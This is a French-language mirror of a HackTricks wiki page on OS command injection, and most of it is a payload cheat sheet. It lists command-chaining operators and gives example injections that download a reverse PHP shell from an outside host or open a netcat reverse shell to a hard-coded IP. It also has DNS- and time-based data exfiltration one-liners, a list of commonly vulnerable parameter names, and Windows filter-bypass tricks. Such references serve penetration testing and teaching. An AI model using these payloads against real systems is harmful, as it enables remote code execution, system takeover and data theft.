mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
131 lines
4.0 KiB
Markdown
131 lines
4.0 KiB
Markdown
# Injection de Commande
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
|
|
## Qu'est-ce que l'injection de commande ?
|
|
|
|
Une **injection de commande** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent.
|
|
|
|
### Contexte
|
|
|
|
Selon **où votre entrée est injectée**, vous devrez peut-être **terminer le contexte cité** (en utilisant `"` ou `'`) avant les commandes.
|
|
|
|
## Injection/Exécution de Commande
|
|
```bash
|
|
#Both Unix and Windows supported
|
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
|
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
|
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
|
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
|
ls %0A id # %0A Execute both (RECOMMENDED)
|
|
|
|
#Only unix supported
|
|
`ls` # ``
|
|
$(ls) # $()
|
|
ls; id # ; Chain commands
|
|
ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|
|
|
#Not executed but may be interesting
|
|
> /var/www/html/out.txt #Try to redirect the output to a file
|
|
< /etc/passwd #Try to send some input to the command
|
|
```
|
|
### **Bypasses de Limitation**
|
|
|
|
Si vous essayez d'exécuter des **commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé à lire sur ces **Bypasses :**
|
|
|
|
{{#ref}}
|
|
../linux-hardening/bypass-bash-restrictions/
|
|
{{#endref}}
|
|
|
|
### **Exemples**
|
|
```
|
|
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
|
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
|
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
|
```
|
|
### Paramètres
|
|
|
|
Voici les 25 principaux paramètres qui pourraient être vulnérables à l'injection de code et à des vulnérabilités RCE similaires (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
|
```
|
|
?cmd={payload}
|
|
?exec={payload}
|
|
?command={payload}
|
|
?execute{payload}
|
|
?ping={payload}
|
|
?query={payload}
|
|
?jump={payload}
|
|
?code={payload}
|
|
?reg={payload}
|
|
?do={payload}
|
|
?func={payload}
|
|
?arg={payload}
|
|
?option={payload}
|
|
?load={payload}
|
|
?process={payload}
|
|
?step={payload}
|
|
?read={payload}
|
|
?function={payload}
|
|
?req={payload}
|
|
?feature={payload}
|
|
?exe={payload}
|
|
?module={payload}
|
|
?payload={payload}
|
|
?run={payload}
|
|
?print={payload}
|
|
```
|
|
### Exfiltration de données basée sur le temps
|
|
|
|
Extraction de données : caractère par caractère
|
|
```
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
real 0m5.007s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
real 0m0.002s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
```
|
|
### Exfiltration de données basée sur DNS
|
|
|
|
Basé sur l'outil de `https://github.com/HoLyVieR/dnsbin` également hébergé sur dnsbin.zhack.ca
|
|
```
|
|
1. Go to http://dnsbin.zhack.ca/
|
|
2. Execute a simple 'ls'
|
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|
```
|
|
|
|
```
|
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
|
```
|
|
Outils en ligne pour vérifier l'exfiltration de données basée sur DNS :
|
|
|
|
- dnsbin.zhack.ca
|
|
- pingb.in
|
|
|
|
### Contournement de filtrage
|
|
|
|
#### Windows
|
|
```
|
|
powershell C:**2\n??e*d.*? # notepad
|
|
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
|
```
|
|
#### Linux
|
|
|
|
{{#ref}}
|
|
../linux-hardening/bypass-bash-restrictions/
|
|
{{#endref}}
|
|
|
|
## Liste de détection de Brute-Force
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
|
|
|
## Références
|
|
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
|
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|